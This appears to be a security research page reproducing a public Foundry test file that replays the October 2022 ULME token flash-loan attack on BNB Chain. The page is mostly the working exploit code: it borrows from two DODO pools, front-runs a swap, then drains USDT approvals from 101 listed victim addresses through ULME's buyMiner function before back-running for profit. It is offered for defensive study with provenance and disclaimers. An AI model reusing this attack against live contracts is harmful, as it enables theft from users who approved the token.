Skip to content
THREATWIRE

Public reproduction file

src/test/2022-10/ULME_exp.sol

Public reproduction file for dataset entry ULME.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-10/ULME_exp.sol257 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~250k US$ which resulted in ~50k profit
8// Attacker : 0x056c20ab7e25e4dd7e49568f964d98e415da63d3
9// Attack Contract : 0x8523c7661850d0da4d86587ce9674da23369ff26
10// Vulnerable Contract : 0xAE975a25646E6eB859615d0A147B909c13D31FEd (ULME Token)
11// Attack Tx : https://phalcon.blocksec.com/tx/bsc/0xdb9a13bc970b97824e082782e838bdff0b76b30d268f1d66aac507f1d43ff4ed
13// @Analysis
14// Blocksec : https://twitter.com/BlockSecTeam/status/1584839309781135361
15// Beosin: https://twitter.com/BeosinAlert/status/1584888021299916801
16// Neptune Mutual: https://medium.com/neptune-mutual/decoding-ulme-token-flash-loan-attack-56470d261787
18CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
19IPancakePair constant ULME_BUSD_LPPool = IPancakePair(0xf18e5EC98541D073dAA0864232B9398fa183e0d4);
20IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
21IULME constant ULME = IULME(0xAE975a25646E6eB859615d0A147B909c13D31FEd);
23// Dodo pairs used only to accumulate BUSD for the frontrun.
24// In the original tx hacker used multiple pools to gather 1M$ to extract 50k profit.
25// Here we use only those two to get 560k$ and gain 45k profit as an example.
26address constant dodo1 = 0xD7B7218D778338Ea05f5Ecce82f86D365E25dBCE;
27address constant dodo2 = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;
29contract Attacker is Test {
30 IERC20 constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
32 uint256 dodo1Balance;
33 uint256 dodo2Balance;
35 function setUp() public {
36 cheat.label(address(ULME_BUSD_LPPool), "ULME_BUSD_LPPool");
37 cheat.label(address(pancakeRouter), "pancakeRouter");
38 cheat.label(address(USDT), "USDT");
39 cheat.label(address(ULME), "ULME");
41 cheat.createSelectFork("bsc", 22_476_695);
42 console.log("-------------------------------- Start Attacker ----------------------------------");
43 }
45 function testExploit() external {
46 USDT.approve(address(pancakeRouter), type(uint256).max);
47 ULME.approve(address(pancakeRouter), type(uint256).max);
49 emit log_named_decimal_uint("[Start] Attacker USDT Balance", USDT.balanceOf(address(this)), 18);
50 emit log_named_decimal_uint("[Start] Attacker ULME Balance", ULME.balanceOf(address(this)), 18);
52 // addresses attacked by the hacker
53 address[] memory victims = new address[](101);
54 victims[0] = 0x4A005e5E40Ce2B827C873cA37af77e6873e37203;
55 victims[1] = 0x5eCe8A3382FD5317EBa6670cAe2F70ccA8845859;
56 victims[2] = 0x065D5Bfb0bdeAdA1637974F76AcF54428D61c45d;
57 victims[3] = 0x0C678244aaEd33b6c963C2D6B14950d35EAB899F;
58 victims[4] = 0x1F0D9584bC8729Ec139ED5Befe0c8677994FcB35;
59 victims[5] = 0x6b8cdC12e9E2F5b3620FfB12c04C5e7b0990aaf2;
60 victims[6] = 0xA9882080e01F8FD11fa85F05f7c7733D1C9837DF;
61 victims[7] = 0x1dFBBECc9304f73caD14C3785f25C1d1924ACB0B;
62 victims[8] = 0x0b038F3e5454aa745Ff029706656Fed638d5F73a;
63 victims[9] = 0x0Bd084decfb04237E489cAD4c8A559FC5ce44f90;
64 victims[10] = 0x5EB2e4907f796C9879181041fF633F33f8858d93;
65 victims[11] = 0x0DE272Ef3273d49Eb608296A783dBd36488d3989;
66 victims[12] = 0xAe800360ac329ceA761AFDa2d3D55Bd12932Ab62;
67 victims[13] = 0xf7726cA96bF1Cee9c6dC568ad3A801E637d10076;
68 victims[14] = 0x847aA967534C31b47d46A2eEf5832313E36b25E2;
69 victims[15] = 0x6c91DA0Dc1e8ab02Ab1aB8871c5aE312ef04273b;
70 victims[16] = 0xb14018024600eE3c747Be98845c8536994D40A5D;
71 victims[17] = 0x8EcdD8859aA286c6bae1f570eb0105457fD24cd2;
72 victims[18] = 0x6ff1c499C13548ee5C9B1EA6d366A5E11EcA60ca;
73 victims[19] = 0xC02eb88068A40aEe6E4649bDc940e0f792e16C22;
74 victims[20] = 0xa2D5b4de4cb10043D190aae23D1eFC02E31F1Cb6;
75 victims[21] = 0x5E05B8aC4494476Dd539e0F4E1302806ec52ED6F;
76 victims[22] = 0xDeb6FDCa49e54c8b0704C5B3f941ED6319139816;
77 victims[23] = 0x0E6533B8d6937cC8b4c9be31c00acBfaCB6760a5;
78 victims[24] = 0xCE0Fd72a7cF07EB9B20562bbb142Cb711A42867f;
79 victims[25] = 0x4868725bf6D395148def99E6C43074C774e7AC1D;
80 victims[26] = 0x2F1f2BAF34703d16BcfD62cF64A7A5a44Ad6c9d4;
81 victims[27] = 0x3d49Bdf065f009621A02c5Fd88f72ed0A3910521;
82 victims[28] = 0x6E31C08f1938BE5DF98F8968747bB34802D76E50;
83 victims[29] = 0x4F741D8DCDEdd74DadeA6cd3A7e41ECb28076209;
84 victims[30] = 0x5480c14b9841C89527F0D1A55dDC0D273Aae3609;
85 victims[31] = 0xb3725dA113eFFd7F39BE62A5E349f26e82a949fF;
86 victims[32] = 0x9d83Dee089a5fBfB5F2F1268EDB80aeA8Ba5aF16;
87 victims[33] = 0x0c02F3d6962245E934A3fe415EAbA6bf570c1883;
88 victims[34] = 0x0182cfEFB268DD510ee77F32527578BEAC6238e2;
89 victims[35] = 0x78598Ac3943454682477852E846532F73d5cFE5F;
90 victims[36] = 0xd067c7585425e1e5AA98743BdA5fB65212751476;
91 victims[37] = 0x3507ddF8b74dAEd03fE76EE74B7d6544F3B254B7;
92 victims[38] = 0xEca4Fd6b05E5849aAf5F2bEE5Eb3B50f8C4f4E3c;
93 victims[39] = 0xAA279af072080f3e453A916b77862b4ff6eB245E;
94 victims[40] = 0x4e505a21325A6820E2099Bbd15f6832c6f696a3c;
95 victims[41] = 0xA5b63F7b40A5Cc5ee6B9dB7cef2415699627Ee89;
96 victims[42] = 0x3dd624cEd432DDc32fA0afDaE855b76aa1431644;
97 victims[43] = 0x17f217Fdeff7Ee4a81a4b2f42c695EDC20806957;
98 victims[44] = 0x41819F36878d15A776225928CD52DC56acCFD553;
99 victims[45] = 0x61ca76703C5aF052c9b0aCc2Bab0276875DDd328;
100 victims[46] = 0x2956bCc87450B424C7305C4c6CF771196c23A52E;
101 victims[47] = 0x03be05224803c89f3b8C806d887fD84A20D16e5C;
102 victims[48] = 0x3C97320bf030C2c120FdCe19023A571f3fbB6184;
103 victims[49] = 0xc52021150ca5c32253220bE328ddC05F86d3a619;
104 victims[50] = 0x6d7aAa35c4B2dBD6F1E979e04884AeE1B4FBB407;
105 victims[51] = 0x7c80162197607312EC99d7c9e34720B3572d6D16;
106 victims[52] = 0x15D92C909826017Ff0184eea3e38c36489517A7C;
107 victims[53] = 0xC07fa7a1F14A374d169Dc593261843B4A6d9C1C3;
108 victims[54] = 0x4b415F48FA70a9a0050F6380e843790260973808;
109 victims[55] = 0x9CeEeB927b85d4bD3b4e282c17EB186bCDC4Dd15;
110 victims[56] = 0x0eb76DAf60bdF637FC207BFb545B546D5Ee208B1;
111 victims[57] = 0x96D7F1660e708eDdF2b6f655ADB61686B59bC190;
112 victims[58] = 0xDCeB637E38dBae685222eEf6635095AaaEC65496;
113 victims[59] = 0x36083Aac533353317C24Bd53227DbF29Ed9F384c;
114 victims[60] = 0x94913f31fBaFcb0ae6e5EfA4C18E3ee301097eab;
115 victims[61] = 0x188c50F43f9fA0026BAaa7d8cF83c358311f0500;
116 victims[62] = 0x3d8dcC70777643612564D84176f769A1417987a5;
117 victims[63] = 0x00273CEEe956543c801429A886cD0E1a79f5d8cA;
118 victims[64] = 0xC43C5F785D06b582E3E710Dc0156267Fd135C602;
119 victims[65] = 0x0406aefd83f20700D31a49F3d6fdbF52e8F7D0Ef;
120 victims[66] = 0xBeD8C7433dE90D349f96C6AE82d4eb4482AA6Bf7;
121 victims[67] = 0xDe436F7742cE08f843f8d84e7998E0B7e4b73101;
122 victims[68] = 0xd38c6E26aa4888DE59C2EAaD6138B0b66ABBF21D;
123 victims[69] = 0xc0dFb3219F0C72E902544a080ba0086da53F9599;
124 victims[70] = 0xFAAD61bd6b509145c2988B03529fF21F3C9970B2;
125 victims[71] = 0x9f9BEEF87Cfe141868E21EacbDDB48DF6c54C2F2;
126 victims[72] = 0x6614e2e86b4646793714B1fa535fc5875bB446d5;
127 victims[73] = 0x7eFe3780b1b0cde8F300443fbb4C12a73904a948;
128 victims[74] = 0xAd813b95A27233E7Abd92C62bBa87f59Ca8F9339;
129 victims[75] = 0x13F33854cE08e07D20F5C0B16884267dde21a501;
130 victims[76] = 0x59ebcde7Ec542b5198095917987755727725fD1d;
131 victims[77] = 0xe5A5B86119BD9fd4DF5478AbE1d3D9F46BF3Ba5F;
132 victims[78] = 0xC2724ed2B629290787Eb4A91f00aAFE58F262025;
133 victims[79] = 0xDFa225eB03F9cc2514361A044EDDA777eA51b9ad;
134 victims[80] = 0x85d981E3CDdb402F9Ae96948900971102Ee5d6b5;
135 victims[81] = 0xb0Ac3A88bFc919cA189f7d4AbA8e2F191b37A65B;
136 victims[82] = 0x1A906A9A385132D6B1a62Bb8547fD20c38dd79Bb;
137 victims[83] = 0x9d36C7c400e033aeAc391b24F47339d7CB7bc033;
138 victims[84] = 0x5B19C1F57b227C67Bef1e77b1B6796eF22aEe21B;
139 victims[85] = 0xbfd0785a924c3547544C95913dAC0b119865DF9e;
140 victims[86] = 0xF003E6430fbC1194ffA3419629A389B7C113F083;
141 victims[87] = 0xfa30Cd705eE0908e2Dac4C19575F824DED99818E;
142 victims[88] = 0xe27027B827FE2FBcFCb56269d4463881AA6B8955;
143 victims[89] = 0xEddD7179E461F42149104DCb87F3b5b657a05399;
144 victims[90] = 0x980FcDB646c674FF9B6621902aCB8a4012974093;
145 victims[91] = 0x2eBc77934935980357A894577c2CC7107574f971;
146 victims[92] = 0x798435DE8fA75993bFC9aD84465d7F812507b604;
147 victims[93] = 0x1Be117F424e9e6f845F7b07C072c1d67F114f885;
148 victims[94] = 0x434e921bDFe74605BD2AAbC2f6389dDBA2d37ACA;
149 victims[95] = 0xaFacAc64426D1cE0512363338066cc8cABB3AEa2;
150 victims[96] = 0x2693e0A37Ea6e669aB43dF6ee68b453F6D6F3EBD;
151 victims[97] = 0x77Aee2AAc9881F4A4C347eb94dEd088aD49C574D;
152 victims[98] = 0x951f4785A2A61fe8934393e0ff6513D6946D8d97;
153 victims[99] = 0x2051cE514801167545E74b5DD2a8cF5034c6b17b;
154 victims[100] = 0xC2EE820756d4074d887d762Fd8F70c4Fc47Ab47f;
156 dodo1Balance = USDT.balanceOf(dodo1);
157 emit log_named_decimal_uint("[before 1st flashloan] borrowing from dodo1", dodo1Balance, USDT.decimals());
158 DVM(dodo1).flashLoan(0, dodo1Balance, address(this), abi.encode(victims));
160 console.log("-------------------------------- End Exploit ----------------------------------");
161 emit log_named_decimal_uint("[End] Attacker USDT Balance", USDT.balanceOf(address(this)), USDT.decimals());
162 emit log_named_decimal_uint("[End] Attacker ULME Balance", ULME.balanceOf(address(this)), ULME.decimals());
163 }
165 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
166 if (msg.sender == dodo1) {
167 dodo2Balance = USDT.balanceOf(dodo2);
168 emit log_named_decimal_uint("[Callback 1] borrowing from dodo2", dodo2Balance, USDT.decimals());
169 DVM(dodo2).flashLoan(0, dodo2Balance, address(this), data);
170 emit log_named_decimal_uint(
171 "[Callback 1] Attacker USDT Balance after 1st repay", USDT.balanceOf(address(this)), USDT.decimals()
172 );
173 USDT.transfer(dodo1, dodo1Balance);
174 emit log_named_decimal_uint(
175 "[Callback 1] Attacker USDT Balance after 2nd repay", USDT.balanceOf(address(this)), USDT.decimals()
176 );
177 }
178 if (msg.sender == dodo2) {
179 emit log_named_decimal_uint(
180 "[Callback 2] Attacker USDT Balance at start", USDT.balanceOf(address(this)), USDT.decimals()
181 );
182 emit log_named_decimal_uint(
183 "[Callback 2] Attacker ULME Balance at start", ULME.balanceOf(address(this)), ULME.decimals()
184 );
186 USDTToULME();
188 emit log_named_decimal_uint(
189 "[Callback 2] Attacker USDT Balance after frontrun swap", USDT.balanceOf(address(this)), USDT.decimals()
190 );
191 emit log_named_decimal_uint(
192 "[Callback 2] Attacker ULME Balance after frontrun swap", ULME.balanceOf(address(this)), ULME.decimals()
193 );
195 address[] memory victims = abi.decode(data, (address[]));
196 uint256 numOfVictims = victims.length;
197 uint256 amount = 0;
198 for (uint256 i = 0; i < numOfVictims; ++i) {
199 uint256 balance = USDT.balanceOf(address(victims[i]));
200 uint256 allowance = USDT.allowance(address(victims[i]), address(ULME));
201 uint256 take = balance;
202 if (balance > allowance) {
203 take = allowance;
204 }
206 if (take / 1 ether > 1) {
207 emit log_named_address("mining from", victims[i]);
208 emit log_named_decimal_uint("available for swap", take, USDT.decimals());
209 try ULME.buyMiner(victims[i], 100 * take / 110 - 1) {
210 amount += take;
211 } catch {
212 emit log_named_address("bad victim", victims[i]);
213 }
214 } else {
215 emit log_named_address("poor victim", victims[i]);
216 }
217 }
218 emit log_named_decimal_uint("total lost", amount, USDT.decimals());
220 ULMEToUSDT();
222 emit log_named_decimal_uint(
223 "[Callback 2] Attacker USDT Balance after backrun", USDT.balanceOf(address(this)), USDT.decimals()
224 );
225 emit log_named_decimal_uint(
226 "[Callback 2] Attacker ULME Balance after backrun", ULME.balanceOf(address(this)), ULME.decimals()
227 );
228 USDT.transfer(dodo2, dodo2Balance);
229 emit log_named_decimal_uint(
230 "[Callback 2] Attacker USDT Balance after 1st repay", USDT.balanceOf(address(this)), USDT.decimals()
231 );
232 }
233 }
235 function USDTToULME() internal {
236 address[] memory path = new address[](2);
237 path[0] = address(USDT);
238 path[1] = address(ULME);
239 pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
240 USDT.balanceOf(address(this)), 0, path, address(this), block.timestamp
241 );
242 }
244 function ULMEToUSDT() internal {
245 address[] memory path = new address[](2);
246 path[0] = address(ULME);
247 path[1] = address(USDT);
248 pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
249 ULME.balanceOf(address(this)) - 1, 0, path, address(this), block.timestamp
250 );
251 }
254/* -------------------- Interface -------------------- */
255interface IULME is IERC20 {
256 function buyMiner(address user, uint256 usdt) external returns (bool);

Analysis

Dataset entry

Public Foundry test for “ULME” (2022-10-25). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x056c20ab7e25e4dd7e49568f964d98e415da63d3

  • Attack Contract

    0x8523c7661850d0da4d86587ce9674da23369ff26

  • Vulnerable Contract

    0xae975a25646e6eb859615d0a147b909c13d31fed

  • Attack Tx

    0xdb9a13bc970b97824e082782e838bdff0b76b30d268f1d66aac507f1d43ff4ed

File record

Name
ULME
Path
src/test/2022-10/ULME_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
020f19908f5912602b2701420fce2c0953761597
Language
Solidity
Size
258 lines
Date
2022-10-25
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-10/ULME_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 020f19908f5912602b2701420fce2c0953761597, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.